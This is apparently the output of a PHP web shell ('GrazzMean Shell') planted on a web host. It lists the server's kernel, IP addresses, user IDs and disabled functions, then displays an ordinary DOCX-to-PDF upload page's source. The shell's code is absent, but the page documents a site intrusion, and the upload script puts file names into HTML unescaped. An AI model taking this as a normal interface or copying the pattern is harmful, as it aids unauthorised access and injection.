shell bypass 403

GrazzMean Shell

: /home/gutlooks/.trash/pdfbuddy/ [ drwxr-xr-x ]
Uname: Linux server.thebazaar99.com 5.14.0-687.17.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jun 22 07:21:26 EDT 2026 x86_64
Software: Apache
PHP version: 8.3.32 [ PHP INFO ] PHP os: Linux
Server Ip: 163.227.92.254
Your Ip: 216.73.217.24
User: gutlooks (1003) | Group: gutlooks (1005)
Safe Mode: OFF
Disable Function:
exec,passthru,shell_exec,system

name : docx-to-pdf.php
<?php include 'partials/header.php'; ?>

<style>
  body {
    font-family: 'Poppins', sans-serif;
    background: #f8f9fc;
  }

  .upload-container {
    min-height: 70vh;
    display: flex;
    flex-direction: column;
    justify-content: center;
    align-items: center;
  }

  .upload-box {
    text-align: center;
    background: white;
    border-radius: 12px;
    padding: 50px 40px;
    box-shadow: 0 0 15px rgba(0,0,0,0.05);
    border: 1px solid #ddd;
  }

  .upload-box h2 {
    font-weight: 600;
    margin-bottom: 10px;
  }

  .upload-box p {
    color: #666;
    margin-bottom: 30px;
  }

  .upload-btn {
    background-color: #f44336;
    color: white;
    font-weight: 600;
    border: none;
    padding: 15px 35px;
    border-radius: 8px;
    font-size: 18px;
    transition: 0.3s;
  }

  .upload-btn:hover {
    background-color: #d32f2f;
  }

  .alt-options {
    display: flex;
    flex-direction: column;
    gap: 5px;
    font-size: 14px;
    color: #888;
    margin-top: 20px;
  }

  #preview {
    margin-top: 20px;
  }
</style>

<div class="upload-container">
  <div class="upload-box">
    <h2>Convert DOCX to PDF</h2>
    <p>Convert your Word documents into PDF files easily.</p>

    <input type="file" id="docxInput" accept=".doc,.docx" hidden>
    <button class="upload-btn" onclick="docxInput.click()">Select DOCX File</button>

    <div class="alt-options">or drop Word documents here</div>
    <div id="preview" class="text-center mt-4"></div>
  </div>
</div>

<?php include 'partials/footer.php'; ?>

<script>
  const docxInput = document.getElementById('docxInput');
  const preview = document.getElementById('preview');

  document.querySelector('.upload-box').addEventListener('dragover', function(e) {
    e.preventDefault();
    this.style.borderColor = '#f44336';
  });

  document.querySelector('.upload-box').addEventListener('dragleave', function(e) {
    this.style.borderColor = '#ddd';
  });

  document.querySelector('.upload-box').addEventListener('drop', function(e) {
    e.preventDefault();
    this.style.borderColor = '#ddd';
    uploadFile(e.dataTransfer.files[0]);
  });

  docxInput.addEventListener('change', () => uploadFile(docxInput.files[0]));

  function uploadFile(file) {
    if (!file || (!file.name.endsWith(".docx") && !file.name.endsWith(".doc"))) {
      preview.innerHTML = `<div class="alert alert-danger mt-3">❌ Only DOCX/DOC files allowed.</div>`;
      return;
    }

    const formData = new FormData();
    formData.append('doc_file', file);

    preview.innerHTML = `<div class="alert alert-info mt-3">⏳ Converting "<strong>${file.name}</strong>"... please wait.</div>`;

    fetch("tools/docx-to-pdf.php", {
      method: 'POST',
      body: formData
    }).then(res => res.json()).then(data => {
      if (data.status === 'success') {
        preview.innerHTML = `<div class="alert alert-success mt-3">
          ✅ Converted!<br>
          <a class="btn btn-success mt-2" href="${data.download_url}" download>⬇️ Download PDF File</a>
        </div>`;
      } else {
        preview.innerHTML = `<div class="alert alert-danger mt-3">❌ ${data.message}</div>`;
      }
    });
  }
</script>

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
© 2026 GrazzMean